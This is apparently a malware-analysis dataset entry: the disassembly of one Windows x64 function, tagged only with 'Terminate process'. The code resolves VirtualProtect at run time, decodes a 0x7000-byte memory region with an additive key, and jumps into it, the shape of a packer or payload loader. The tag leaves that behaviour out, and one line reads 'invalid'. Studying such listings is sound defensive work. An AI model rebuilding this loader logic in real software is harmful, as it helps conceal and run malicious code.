Function at 0x140005983
Capabilities:
Terminate process

Disassembly:
push rbx
push rsi
push r12
sub rsp, 0x30
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
mov rcx, qword [str.Kernel32.dll]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rsi, rax
mov edx, dword [0x1401eb48c]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov r12, rax
xor ecx, ecx
mov rdx, r12
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor r8d, r8d
xor eax, eax
movzx r9d, word [r12 + r8*2]
cmp r9d, 0x5c
je 0x140005d3b
test r9d, r9d
je 0x1400059e6
invalid
inc r8
jmp 0x1400059cd
lea r8, [r12 + rax*2]
mov rax, qword [0x1401eb468]
cmp dword [rax], 0
je 0x140005a58
movzx edx, word [r8 + 2]
xor r9d, r9d
test edx, edx
je 0x140005d12
inc r9d
movzx r10d, word [r8 + r9*2 + 2]
test r10d, r10d
jne 0x140005a06
movzx r9d, r9b
cmp r9b, byte [rax]
je 0x140005a27
cmp r9b, byte [rax + 1]
jne 0x140005d0a
xor r10d, r10d
xor r9d, r9d
test edx, edx
je 0x140005a48
movzx edx, word [r8 + r9*2 + 2]
add r10d, edx
inc r9d
movzx r11d, word [r8 + r9*2 + 2]
test r11d, r11d
jne 0x140005a31
cmp r10d, dword [rax + 4]
je 0x140005a58
cmp r10d, dword [rax + 8]
jne 0x140005d0a
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, dword [0x1401eb48c]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdx, rax
xor eax, eax
mov r8, qword [str.VirtualProtect]
mov r9d, dword [r8 + rax]
mov dword [rax + rdx], r9d
add rax, 4
cmp rax, 0x40
jl 0x140005a7d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rsi, rsi
je 0x140005d0a
mov r12, qword [0x1401eb434]
mov rcx, r12
mov edx, 0x7000
lea r9, [rsp + 0x20]
mov r8d, dword [0x1401eb430]
call rsi
mov eax, dword [0x1401eb458]
lea r9, [r12 + 8]
lea rdx, [rbx + rax]
mov r8d, dword [rdx + 4]
lea rax, [rdx + 8]
neg rax
add rax, r9
cmp rax, 0x6ff8
jge 0x140005afc
neg rax
cmp rax, 0x6ff8
jl 0x140005ca6
and r9, 0xf
test r9d, r9d
je 0x140005b39
test r9d, 3
jne 0x140005d23
neg r9d
xor eax, eax
add r9d, 0x10
shr r9d, 2
mov ebx, r9d
mov r10d, dword [rdx + rax*4 + 8]
add r10d, r8d
mov dword [r12 + rax*4 + 8], r10d
inc rax
cmp rax, rbx
jb 0x140005b22
jmp 0x140005b3b
xor ebx, ebx
mov ecx, r9d
lea r9d, [r9*4 + 8]
neg ecx
add ecx, 0xe
add r9, rdx
and ecx, 0xf
neg ecx
lea eax, [rcx + 0x1bfe]
test r9, 0xf
je 0x140005bc2
movd xmm0, r8d
pshufd xmm0, xmm0, 0
mov r9d, eax
nop dword [rax]
movdqu xmm1, xmmword [rdx + rbx*4 + 8]
paddd xmm1, xmm0
movdqu xmmword [r12 + rbx*4 + 8], xmm1
movdqu xmm2, xmmword [rdx + rbx*4 + 0x18]
paddd xmm2, xmm0
movdqu xmmword [r12 + rbx*4 + 0x18], xmm2
movdqu xmm3, xmmword [rdx + rbx*4 + 0x28]
paddd xmm3, xmm0
movdqu xmmword [r12 + rbx*4 + 0x28], xmm3
movdqu xmm4, xmmword [rdx + rbx*4 + 0x38]
paddd xmm4, xmm0
movdqu xmmword [r12 + rbx*4 + 0x38], xmm4
add rbx, 0x10
cmp rbx, r9
jb 0x140005b73
jmp 0x140005c20
movd xmm0, r8d
pshufd xmm0, xmm0, 0
mov r9d, eax
nop dword [rax]
movdqu xmm1, xmmword [rdx + rbx*4 + 8]
paddd xmm1, xmm0
movdqu xmmword [r12 + rbx*4 + 8], xmm1
movdqu xmm2, xmmword [rdx + rbx*4 + 0x18]
paddd xmm2, xmm0
movdqu xmmword [r12 + rbx*4 + 0x18], xmm2
movdqu xmm3, xmmword [rdx + rbx*4 + 0x28]
paddd xmm3, xmm0
movdqu xmmword [r12 + rbx*4 + 0x28], xmm3
movdqu xmm4, xmmword [rdx + rbx*4 + 0x38]
paddd xmm4, xmm0
movdqu xmmword [r12 + rbx*4 + 0x38], xmm4
add rbx, 0x10
cmp rbx, r9
jb 0x140005bd3
lea ebx, [rcx + 0x1bff]
cmp ebx, 0x1bfe
ja 0x140005ccc
mov r11d, eax
neg r11d
add r11d, 0x1bfe
cmp r11d, 4
jb 0x140005d33
mov r10d, r11d
xor r9d, r9d
and r10d, 0xfffffffc
lea ebx, [rcx*4 + 0x6ff8]
lea ecx, [rbx + r9*4]
add r9d, 4
movsxd rcx, ecx
movdqu xmm1, xmmword [rcx + rdx + 8]
paddd xmm1, xmm0
movdqu xmmword [rcx + r12 + 8], xmm1
cmp r9d, r10d
jb 0x140005c5a
cmp r10d, r11d
jae 0x140005ccc
lea ebx, [r10*4]
inc r10d
lea r9d, [rbx + rax*4]
movsxd r9, r9d
mov ebx, dword [r9 + rdx + 8]
add ebx, r8d
mov dword [r9 + r12 + 8], ebx
cmp r10d, r11d
jb 0x140005c80
jmp 0x140005ccc
xor eax, eax
mov ebx, dword [rdx + rax*8 + 8]
add ebx, r8d
mov dword [r12 + rax*8 + 8], ebx
mov dword [rsp + rax*8 + 8], ebx
mov r9d, dword [rdx + rax*8 + 0xc]
add r9d, r8d
mov dword [r12 + rax*8 + 0xc], r9d
inc rax
cmp rax, 0xdff
jb 0x140005ca8
mov eax, dword [0x1401eb454]
mov rcx, r12
mov dword [r12 + 8], eax
mov edx, 0x7000
mov r8d, dword [rsp + 0x20]
lea r9, [rsp + 0x20]
call rsi
mov eax, dword [reloc.WS2_32.dll_sendto]
mov edx, dword [reloc.WS2_32.dll_sendto]
mov ebx, dword [r12 + 0xc]
add rbx, r12
add r12, rdx
add rbx, rax
mov rcx, r12
call rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
cmp byte [rax], 0
jne 0x140005a1d
xor r10d, r10d
jmp 0x140005a48
xor eax, eax
mov r11d, 0x1bfe
xor r10d, r10d
jmp 0x140005c7b
xor r10d, r10d
jmp 0x140005c7b
movsxd rax, r8d
jmp 0x1400059e1